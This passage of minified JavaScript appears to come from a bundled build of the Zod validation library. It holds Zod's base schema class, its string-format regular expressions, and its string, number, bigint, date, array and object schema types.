this._error=n,this._error}}};j=class{get description(){return this._def.description}_getType(t){return Xe(t.data)}_getOrReturnCtx(t,n){return n||{common:t.parent.common,data:t.data,parsedType:Xe(t.data),schemaErrorMap:this._def.errorMap,path:t.path,parent:t.parent}}_processInputParams(t){return{status:new ne,ctx:{common:t.parent.common,data:t.data,parsedType:Xe(t.data),schemaErrorMap:this._def.errorMap,path:t.path,parent:t.parent}}}_parseSync(t){let n=this._parse(t);if(xn(n))throw new Error("Synchronous parse encountered promise.");return n}_parseAsync(t){let n=this._parse(t);return Promise.resolve(n)}parse(t,n){let r=this.safeParse(t,n);if(r.success)return r.data;throw r.error}safeParse(t,n){let r={common:{issues:[],async:n?.async??!1,contextualErrorMap:n?.errorMap},path:n?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:t,parsedType:Xe(t)},o=this._parseSync({data:t,path:r.path,parent:r});return ju(r,o)}"~validate"(t){let n={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:t,parsedType:Xe(t)};if(!this["~standard"].async)try{let r=this._parseSync({data:t,path:[],parent:n});return xt(r)?{value:r.value}:{issues:n.common.issues}}catch(r){r?.message?.toLowerCase()?.includes("encountered")&&(this["~standard"].async=!0),n.common={issues:[],async:!0}}return this._parseAsync({data:t,path:[],parent:n}).then(r=>xt(r)?{value:r.value}:{issues:n.common.issues})}async parseAsync(t,n){let r=await this.safeParseAsync(t,n);if(r.success)return r.data;throw r.error}async safeParseAsync(t,n){let r={common:{issues:[],contextualErrorMap:n?.errorMap,async:!0},path:n?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:t,parsedType:Xe(t)},o=this._parse({data:t,path:r.path,parent:r}),s=await(xn(o)?o:Promise.resolve(o));return ju(r,s)}refine(t,n){let r=o=>typeof n=="string"||typeof n>"u"?{message:n}:typeof n=="function"?n(o):n;return this._refinement((o,s)=>{let i=t(o),a=()=>s.addIssue({code:_.custom,...r(o)});return typeof Promise<"u"&&i instanceof Promise?i.then(l=>l?!0:(a(),!1)):i?!0:(a(),!1)})}refinement(t,n){return this._refinement((r,o)=>t(r)?!0:(o.addIssue(typeof n=="function"?n(r,o):n),!1))}_refinement(t){return new Me({schema:this,typeName:O.ZodEffects,effect:{type:"refinement",refinement:t}})}superRefine(t){return this._refinement(t)}constructor(t){this.spa=this.safeParseAsync,this._def=t,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:n=>this["~validate"](n)}}optional(){return Pe.create(this,this._def)}nullable(){return et.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return ct.create(this)}promise(){return Tt.create(this,this._def)}or(t){return Zt.create([this,t],this._def)}and(t){return Kt.create(this,t,this._def)}transform(t){return new Me({...D(this._def),schema:this,typeName:O.ZodEffects,effect:{type:"transform",transform:t}})}default(t){let n=typeof t=="function"?t:()=>t;return new Xt({...D(this._def),innerType:this,defaultValue:n,typeName:O.ZodDefault})}brand(){return new Fr({typeName:O.ZodBranded,type:this,...D(this._def)})}catch(t){let n=typeof t=="function"?t:()=>t;return new Qt({...D(this._def),innerType:this,catchValue:n,typeName:O.ZodCatch})}describe(t){let n=this.constructor;return new n({...this._def,description:t})}pipe(t){return Lr.create(this,t)}readonly(){return en.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}},xw=/^c[^\s-]{8,}$/i,Ew=/^[0-9a-z]+$/,vw=/^[0-9A-HJKMNP-TV-Z]{26}$/i,Tw=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,Rw=/^[a-z0-9_-]{21}$/i,Aw=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,$w=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,Cw=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,Ow="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",Iw=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,Pw=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,Nw=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,Mw=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,Dw=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,Fw=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,zu="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",Lw=new RegExp(`^${zu}$`);Et=class e extends j{_parse(t){if(this._def.coerce&&(t.data=String(t.data)),this._getType(t)!==v.string){let s=this._getOrReturnCtx(t);return E(s,{code:_.invalid_type,expected:v.string,received:s.parsedType}),$}let r=new ne,o;for(let s of this._def.checks)if(s.kind==="min")t.data.length<s.value&&(o=this._getOrReturnCtx(t,o),E(o,{code:_.too_small,minimum:s.value,type:"string",inclusive:!0,exact:!1,message:s.message}),r.dirty());else if(s.kind==="max")t.data.length>s.value&&(o=this._getOrReturnCtx(t,o),E(o,{code:_.too_big,maximum:s.value,type:"string",inclusive:!0,exact:!1,message:s.message}),r.dirty());else if(s.kind==="length"){let i=t.data.length>s.value,a=t.data.length<s.value;(i||a)&&(o=this._getOrReturnCtx(t,o),i?E(o,{code:_.too_big,maximum:s.value,type:"string",inclusive:!0,exact:!0,message:s.message}):a&&E(o,{code:_.too_small,minimum:s.value,type:"string",inclusive:!0,exact:!0,message:s.message}),r.dirty())}else if(s.kind==="email")Cw.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"email",code:_.invalid_string,message:s.message}),r.dirty());else if(s.kind==="emoji")da||(da=new RegExp(Ow,"u")),da.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"emoji",code:_.invalid_string,message:s.message}),r.dirty());else if(s.kind==="uuid")Tw.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"uuid",code:_.invalid_string,message:s.message}),r.dirty());else if(s.kind==="nanoid")Rw.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"nanoid",code:_.invalid_string,message:s.message}),r.dirty());else if(s.kind==="cuid")xw.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"cuid",code:_.invalid_string,message:s.message}),r.dirty());else if(s.kind==="cuid2")Ew.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"cuid2",code:_.invalid_string,message:s.message}),r.dirty());else if(s.kind==="ulid")vw.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"ulid",code:_.invalid_string,message:s.message}),r.dirty());else if(s.kind==="url")try{new URL(t.data)}catch{o=this._getOrReturnCtx(t,o),E(o,{validation:"url",code:_.invalid_string,message:s.message}),r.dirty()}else s.kind==="regex"?(s.regex.lastIndex=0,s.regex.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"regex",code:_.invalid_string,message:s.message}),r.dirty())):s.kind==="trim"?t.data=t.data.trim():s.kind==="includes"?t.data.includes(s.value,s.position)||(o=this._getOrReturnCtx(t,o),E(o,{code:_.invalid_string,validation:{includes:s.value,position:s.position},message:s.message}),r.dirty()):s.kind==="toLowerCase"?t.data=t.data.toLowerCase():s.kind==="toUpperCase"?t.data=t.data.toUpperCase():s.kind==="startsWith"?t.data.startsWith(s.value)||(o=this._getOrReturnCtx(t,o),E(o,{code:_.invalid_string,validation:{startsWith:s.value},message:s.message}),r.dirty()):s.kind==="endsWith"?t.data.endsWith(s.value)||(o=this._getOrReturnCtx(t,o),E(o,{code:_.invalid_string,validation:{endsWith:s.value},message:s.message}),r.dirty()):s.kind==="datetime"?Ju(s).test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{code:_.invalid_string,validation:"datetime",message:s.message}),r.dirty()):s.kind==="date"?Lw.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{code:_.invalid_string,validation:"date",message:s.message}),r.dirty()):s.kind==="time"?Hw(s).test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{code:_.invalid_string,validation:"time",message:s.message}),r.dirty()):s.kind==="duration"?$w.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"duration",code:_.invalid_string,message:s.message}),r.dirty()):s.kind==="ip"?jw(t.data,s.version)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"ip",code:_.invalid_string,message:s.message}),r.dirty()):s.kind==="jwt"?Bw(t.data,s.alg)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"jwt",code:_.invalid_string,message:s.message}),r.dirty()):s.kind==="cidr"?zw(t.data,s.version)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"cidr",code:_.invalid_string,message:s.message}),r.dirty()):s.kind==="base64"?Dw.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"base64",code:_.invalid_string,message:s.message}),r.dirty()):s.kind==="base64url"?Fw.test(t.data)||(o=this._getOrReturnCtx(t,o),E(o,{validation:"base64url",code:_.invalid_string,message:s.message}),r.dirty()):z.assertNever(s);return{status:r.value,value:t.data}}_regex(t,n,r){return this.refinement(o=>t.test(o),{validation:n,code:_.invalid_string,...R.errToObj(r)})}_addCheck(t){return new e({...this._def,checks:[...this._def.checks,t]})}email(t){return this._addCheck({kind:"email",...R.errToObj(t)})}url(t){return this._addCheck({kind:"url",...R.errToObj(t)})}emoji(t){return this._addCheck({kind:"emoji",...R.errToObj(t)})}uuid(t){return this._addCheck({kind:"uuid",...R.errToObj(t)})}nanoid(t){return this._addCheck({kind:"nanoid",...R.errToObj(t)})}cuid(t){return this._addCheck({kind:"cuid",...R.errToObj(t)})}cuid2(t){return this._addCheck({kind:"cuid2",...R.errToObj(t)})}ulid(t){return this._addCheck({kind:"ulid",...R.errToObj(t)})}base64(t){return this._addCheck({kind:"base64",...R.errToObj(t)})}base64url(t){return this._addCheck({kind:"base64url",...R.errToObj(t)})}jwt(t){return this._addCheck({kind:"jwt",...R.errToObj(t)})}ip(t){return this._addCheck({kind:"ip",...R.errToObj(t)})}cidr(t){return this._addCheck({kind:"cidr",...R.errToObj(t)})}datetime(t){return typeof t=="string"?this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:t}):this._addCheck({kind:"datetime",precision:typeof t?.precision>"u"?null:t?.precision,offset:t?.offset??!1,local:t?.local??!1,...R.errToObj(t?.message)})}date(t){return this._addCheck({kind:"date",message:t})}time(t){return typeof t=="string"?this._addCheck({kind:"time",precision:null,message:t}):this._addCheck({kind:"time",precision:typeof t?.precision>"u"?null:t?.precision,...R.errToObj(t?.message)})}duration(t){return this._addCheck({kind:"duration",...R.errToObj(t)})}regex(t,n){return this._addCheck({kind:"regex",regex:t,...R.errToObj(n)})}includes(t,n){return this._addCheck({kind:"includes",value:t,position:n?.position,...R.errToObj(n?.message)})}startsWith(t,n){return this._addCheck({kind:"startsWith",value:t,...R.errToObj(n)})}endsWith(t,n){return this._addCheck({kind:"endsWith",value:t,...R.errToObj(n)})}min(t,n){return this._addCheck({kind:"min",value:t,...R.errToObj(n)})}max(t,n){return this._addCheck({kind:"max",value:t,...R.errToObj(n)})}length(t,n){return this._addCheck({kind:"length",value:t,...R.errToObj(n)})}nonempty(t){return this.min(1,R.errToObj(t))}trim(){return new e({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new e({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new e({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(t=>t.kind==="datetime")}get isDate(){return!!this._def.checks.find(t=>t.kind==="date")}get isTime(){return!!this._def.checks.find(t=>t.kind==="time")}get isDuration(){return!!this._def.checks.find(t=>t.kind==="duration")}get isEmail(){return!!this._def.checks.find(t=>t.kind==="email")}get isURL(){return!!this._def.checks.find(t=>t.kind==="url")}get isEmoji(){return!!this._def.checks.find(t=>t.kind==="emoji")}get isUUID(){return!!this._def.checks.find(t=>t.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(t=>t.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(t=>t.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(t=>t.kind==="cuid2")}get isULID(){return!!this._def.checks.find(t=>t.kind==="ulid")}get isIP(){return!!this._def.checks.find(t=>t.kind==="ip")}get isCIDR(){return!!this._def.checks.find(t=>t.kind==="cidr")}get isBase64(){return!!this._def.checks.find(t=>t.kind==="base64")}get isBase64url(){return!!this._def.checks.find(t=>t.kind==="base64url")}get minLength(){let t=null;for(let n of this._def.checks)n.kind==="min"&&(t===null||n.value>t)&&(t=n.value);return t}get maxLength(){let t=null;for(let n of this._def.checks)n.kind==="max"&&(t===null||n.value<t)&&(t=n.value);return t}};Et.create=e=>new Et({checks:[],typeName:O.ZodString,coerce:e?.coerce??!1,...D(e)});jt=class e extends j{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(t){if(this._def.coerce&&(t.data=Number(t.data)),this._getType(t)!==v.number){let s=this._getOrReturnCtx(t);return E(s,{code:_.invalid_type,expected:v.number,received:s.parsedType}),$}let r,o=new ne;for(let s of this._def.checks)s.kind==="int"?z.isInteger(t.data)||(r=this._getOrReturnCtx(t,r),E(r,{code:_.invalid_type,expected:"integer",received:"float",message:s.message}),o.dirty()):s.kind==="min"?(s.inclusive?t.data<s.value:t.data<=s.value)&&(r=this._getOrReturnCtx(t,r),E(r,{code:_.too_small,minimum:s.value,type:"number",inclusive:s.inclusive,exact:!1,message:s.message}),o.dirty()):s.kind==="max"?(s.inclusive?t.data>s.value:t.data>=s.value)&&(r=this._getOrReturnCtx(t,r),E(r,{code:_.too_big,maximum:s.value,type:"number",inclusive:s.inclusive,exact:!1,message:s.message}),o.dirty()):s.kind==="multipleOf"?Uw(t.data,s.value)!==0&&(r=this._getOrReturnCtx(t,r),E(r,{code:_.not_multiple_of,multipleOf:s.value,message:s.message}),o.dirty()):s.kind==="finite"?Number.isFinite(t.data)||(r=this._getOrReturnCtx(t,r),E(r,{code:_.not_finite,message:s.message}),o.dirty()):z.assertNever(s);return{status:o.value,value:t.data}}gte(t,n){return this.setLimit("min",t,!0,R.toString(n))}gt(t,n){return this.setLimit("min",t,!1,R.toString(n))}lte(t,n){return this.setLimit("max",t,!0,R.toString(n))}lt(t,n){return this.setLimit("max",t,!1,R.toString(n))}setLimit(t,n,r,o){return new e({...this._def,checks:[...this._def.checks,{kind:t,value:n,inclusive:r,message:R.toString(o)}]})}_addCheck(t){return new e({...this._def,checks:[...this._def.checks,t]})}int(t){return this._addCheck({kind:"int",message:R.toString(t)})}positive(t){return this._addCheck({kind:"min",value:0,inclusive:!1,message:R.toString(t)})}negative(t){return this._addCheck({kind:"max",value:0,inclusive:!1,message:R.toString(t)})}nonpositive(t){return this._addCheck({kind:"max",value:0,inclusive:!0,message:R.toString(t)})}nonnegative(t){return this._addCheck({kind:"min",value:0,inclusive:!0,message:R.toString(t)})}multipleOf(t,n){return this._addCheck({kind:"multipleOf",value:t,message:R.toString(n)})}finite(t){return this._addCheck({kind:"finite",message:R.toString(t)})}safe(t){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:R.toString(t)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:R.toString(t)})}get minValue(){let t=null;for(let n of this._def.checks)n.kind==="min"&&(t===null||n.value>t)&&(t=n.value);return t}get maxValue(){let t=null;for(let n of this._def.checks)n.kind==="max"&&(t===null||n.value<t)&&(t=n.value);return t}get isInt(){return!!this._def.checks.find(t=>t.kind==="int"||t.kind==="multipleOf"&&z.isInteger(t.value))}get isFinite(){let t=null,n=null;for(let r of this._def.checks){if(r.kind==="finite"||r.kind==="int"||r.kind==="multipleOf")return!0;r.kind==="min"?(n===null||r.value>n)&&(n=r.value):r.kind==="max"&&(t===null||r.value<t)&&(t=r.value)}return Number.isFinite(n)&&Number.isFinite(t)}};jt.create=e=>new jt({checks:[],typeName:O.ZodNumber,coerce:e?.coerce||!1,...D(e)});Bt=class e extends j{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte}_parse(t){if(this._def.coerce)try{t.data=BigInt(t.data)}catch{return this._getInvalidInput(t)}if(this._getType(t)!==v.bigint)return this._getInvalidInput(t);let r,o=new ne;for(let s of this._def.checks)s.kind==="min"?(s.inclusive?t.data<s.value:t.data<=s.value)&&(r=this._getOrReturnCtx(t,r),E(r,{code:_.too_small,type:"bigint",minimum:s.value,inclusive:s.inclusive,message:s.message}),o.dirty()):s.kind==="max"?(s.inclusive?t.data>s.value:t.data>=s.value)&&(r=this._getOrReturnCtx(t,r),E(r,{code:_.too_big,type:"bigint",maximum:s.value,inclusive:s.inclusive,message:s.message}),o.dirty()):s.kind==="multipleOf"?t.data%s.value!==BigInt(0)&&(r=this._getOrReturnCtx(t,r),E(r,{code:_.not_multiple_of,multipleOf:s.value,message:s.message}),o.dirty()):z.assertNever(s);return{status:o.value,value:t.data}}_getInvalidInput(t){let n=this._getOrReturnCtx(t);return E(n,{code:_.invalid_type,expected:v.bigint,received:n.parsedType}),$}gte(t,n){return this.setLimit("min",t,!0,R.toString(n))}gt(t,n){return this.setLimit("min",t,!1,R.toString(n))}lte(t,n){return this.setLimit("max",t,!0,R.toString(n))}lt(t,n){return this.setLimit("max",t,!1,R.toString(n))}setLimit(t,n,r,o){return new e({...this._def,checks:[...this._def.checks,{kind:t,value:n,inclusive:r,message:R.toString(o)}]})}_addCheck(t){return new e({...this._def,checks:[...this._def.checks,t]})}positive(t){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:R.toString(t)})}negative(t){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:R.toString(t)})}nonpositive(t){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:R.toString(t)})}nonnegative(t){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:R.toString(t)})}multipleOf(t,n){return this._addCheck({kind:"multipleOf",value:t,message:R.toString(n)})}get minValue(){let t=null;for(let n of this._def.checks)n.kind==="min"&&(t===null||n.value>t)&&(t=n.value);return t}get maxValue(){let t=null;for(let n of this._def.checks)n.kind==="max"&&(t===null||n.value<t)&&(t=n.value);return t}};Bt.create=e=>new Bt({checks:[],typeName:O.ZodBigInt,coerce:e?.coerce??!1,...D(e)});zt=class extends j{_parse(t){if(this._def.coerce&&(t.data=!!t.data),this._getType(t)!==v.boolean){let r=this._getOrReturnCtx(t);return E(r,{code:_.invalid_type,expected:v.boolean,received:r.parsedType}),$}return ue(t.data)}};zt.create=e=>new zt({typeName:O.ZodBoolean,coerce:e?.coerce||!1,...D(e)});Ut=class e extends j{_parse(t){if(this._def.coerce&&(t.data=new Date(t.data)),this._getType(t)!==v.date){let s=this._getOrReturnCtx(t);return E(s,{code:_.invalid_type,expected:v.date,received:s.parsedType}),$}if(Number.isNaN(t.data.getTime())){let s=this._getOrReturnCtx(t);return E(s,{code:_.invalid_date}),$}let r=new ne,o;for(let s of this._def.checks)s.kind==="min"?t.data.getTime()<s.value&&(o=this._getOrReturnCtx(t,o),E(o,{code:_.too_small,message:s.message,inclusive:!0,exact:!1,minimum:s.value,type:"date"}),r.dirty()):s.kind==="max"?t.data.getTime()>s.value&&(o=this._getOrReturnCtx(t,o),E(o,{code:_.too_big,message:s.message,inclusive:!0,exact:!1,maximum:s.value,type:"date"}),r.dirty()):z.assertNever(s);return{status:r.value,value:new Date(t.data.getTime())}}_addCheck(t){return new e({...this._def,checks:[...this._def.checks,t]})}min(t,n){return this._addCheck({kind:"min",value:t.getTime(),message:R.toString(n)})}max(t,n){return this._addCheck({kind:"max",value:t.getTime(),message:R.toString(n)})}get minDate(){let t=null;for(let n of this._def.checks)n.kind==="min"&&(t===null||n.value>t)&&(t=n.value);return t!=null?new Date(t):null}get maxDate(){let t=null;for(let n of this._def.checks)n.kind==="max"&&(t===null||n.value<t)&&(t=n.value);return t!=null?new Date(t):null}};Ut.create=e=>new Ut({checks:[],coerce:e?.coerce||!1,typeName:O.ZodDate,...D(e)});vn=class extends j{_parse(t){if(this._getType(t)!==v.symbol){let r=this._getOrReturnCtx(t);return E(r,{code:_.invalid_type,expected:v.symbol,received:r.parsedType}),$}return ue(t.data)}};vn.create=e=>new vn({typeName:O.ZodSymbol,...D(e)});Jt=class extends j{_parse(t){if(this._getType(t)!==v.undefined){let r=this._getOrReturnCtx(t);return E(r,{code:_.invalid_type,expected:v.undefined,received:r.parsedType}),$}return ue(t.data)}};Jt.create=e=>new Jt({typeName:O.ZodUndefined,...D(e)});Gt=class extends j{_parse(t){if(this._getType(t)!==v.null){let r=this._getOrReturnCtx(t);return E(r,{code:_.invalid_type,expected:v.null,received:r.parsedType}),$}return ue(t.data)}};Gt.create=e=>new Gt({typeName:O.ZodNull,...D(e)});vt=class extends j{constructor(){super(...arguments),this._any=!0}_parse(t){return ue(t.data)}};vt.create=e=>new vt({typeName:O.ZodAny,...D(e)});lt=class extends j{constructor(){super(...arguments),this._unknown=!0}_parse(t){return ue(t.data)}};lt.create=e=>new lt({typeName:O.ZodUnknown,...D(e)});ze=class extends j{_parse(t){let n=this._getOrReturnCtx(t);return E(n,{code:_.invalid_type,expected:v.never,received:n.parsedType}),$}};ze.create=e=>new ze({typeName:O.ZodNever,...D(e)});Tn=class extends j{_parse(t){if(this._getType(t)!==v.undefined){let r=this._getOrReturnCtx(t);return E(r,{code:_.invalid_type,expected:v.void,received:r.parsedType}),$}return ue(t.data)}};Tn.create=e=>new Tn({typeName:O.ZodVoid,...D(e)});ct=class e extends j{_parse(t){let{ctx:n,status:r}=this._processInputParams(t),o=this._def;if(n.parsedType!==v.array)return E(n,{code:_.invalid_type,expected:v.array,received:n.parsedType}),$;if(o.exactLength!==null){let i=n.data.length>o.exactLength.value,a=n.data.length<o.exactLength.value;(i||a)&&(E(n,{code:i?_.too_big:_.too_small,minimum:a?o.exactLength.value:void 0,maximum:i?o.exactLength.value:void 0,type:"array",inclusive:!0,exact:!0,message:o.exactLength.message}),r.dirty())}if(o.minLength!==null&&n.data.length<o.minLength.value&&(E(n,{code:_.too_small,minimum:o.minLength.value,type:"array",inclusive:!0,exact:!1,message:o.minLength.message}),r.dirty()),o.maxLength!==null&&n.data.length>o.maxLength.value&&(E(n,{code:_.too_big,maximum:o.maxLength.value,type:"array",inclusive:!0,exact:!1,message:o.maxLength.message}),r.dirty()),n.common.async)return Promise.all([...n.data].map((i,a)=>o.type._parseAsync(new Ne(n,i,n.path,a)))).then(i=>ne.mergeArray(r,i));let s=[...n.data].map((i,a)=>o.type._parseSync(new Ne(n,i,n.path,a)));return ne.mergeArray(r,s)}get element(){return this._def.type}min(t,n){return new e({...this._def,minLength:{value:t,message:R.toString(n)}})}max(t,n){return new e({...this._def,maxLength:{value:t,message:R.toString(n)}})}length(t,n){return new e({...this._def,exactLength:{value:t,message:R.toString(n)}})}nonempty(t){return this.min(1,t)}};ct.create=(e,t)=>new ct({type:e,minLength:null,maxLength:null,exactLength:null,typeName:O.ZodArray,...D(t)});xe=class e extends j{constructor(){super(...arguments),this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let t=this._def.shape(),n=z.objectKeys(t);return this._cached={shape:t,keys:n},this._cached}_parse(t){if(this._getType(t)!==v.object){let c=this._getOrReturnCtx(t);return E(c,{code:_.invalid_type,expected:v.object,received:c.parsedType}),$}let{status:r,ctx:o}=this._processInputParams(t),{shape:s,keys:i}=this._getCached(),a=[];if(!(this._def.catchall instanceof ze&&this._def.unknownKeys==="strip"))for(let c in o.data)i.includes(c)||a.push(c);let l=[];for(let c of i){let u=s[c],f=o.data[c];l.push({key:{status:"valid",value:c},value:u._parse(new Ne(o,f,o.path,c)),alwaysSet:c in o.data})}if(this._def.catchall instanceof ze){let c=this._def.unknownKeys;if(c==="passthrough")for(let u of a)l.push({key:{status:"valid",value:u},value:{status:"valid",value:o.data[u]}});else if(c==="strict")a.length>0&&(E(o,{code:_.unrecognized_keys,keys:a}),r.dirty());else if(c!=="strip")throw new Error("Internal ZodObject error: invalid unknownKeys value.")}else{let c=this._def.catchall;for(let u of a){let f=o.data[u];l.push({key:{status:"valid",value:u},value:c._parse(new Ne(o,f,o.path,u)),alwaysSet:u in o.data})}}return o.common.async?Promise.resolve().then(async()=>{let c=[];for(let u of l){let f=await u.key,d=await u.value;c.push({key:f,value:d,alwaysSet:u.alwaysSet})}return c}).then(c=>ne.mergeObjectSync(r,c)):ne.mergeObjectSync(r,l)}get shape(){return this._def.shape()}strict(t){return R.errToObj,new e({...this._def,unknownKeys:"strict",...t!==void 0?{errorMap:(n,r)=>{let o=this._def.errorMap?.(n,r).message??r.defaultError;return n.code==="unrecognized_keys"?{message:R.errToObj(t).message??o}:{message:o}}}:{}})}strip(){return new e({...this._def,unknownKeys:"strip"})}passthrough(){return new e({...this._def,unknownKeys:"passthrough"})}extend(t){return new e({...this._def,shape:()=>({...this._def.shape(),...t})})}merge(t){return new e({unknownKeys:t._def.unknownKeys,catchall:t._def.catchall,shape:()=>({...this._def.shape(),...t._def.shape()}),typeName:O.ZodObject})}setKey(t,n){return this.augment({[t]:n})}catchall(t){return new 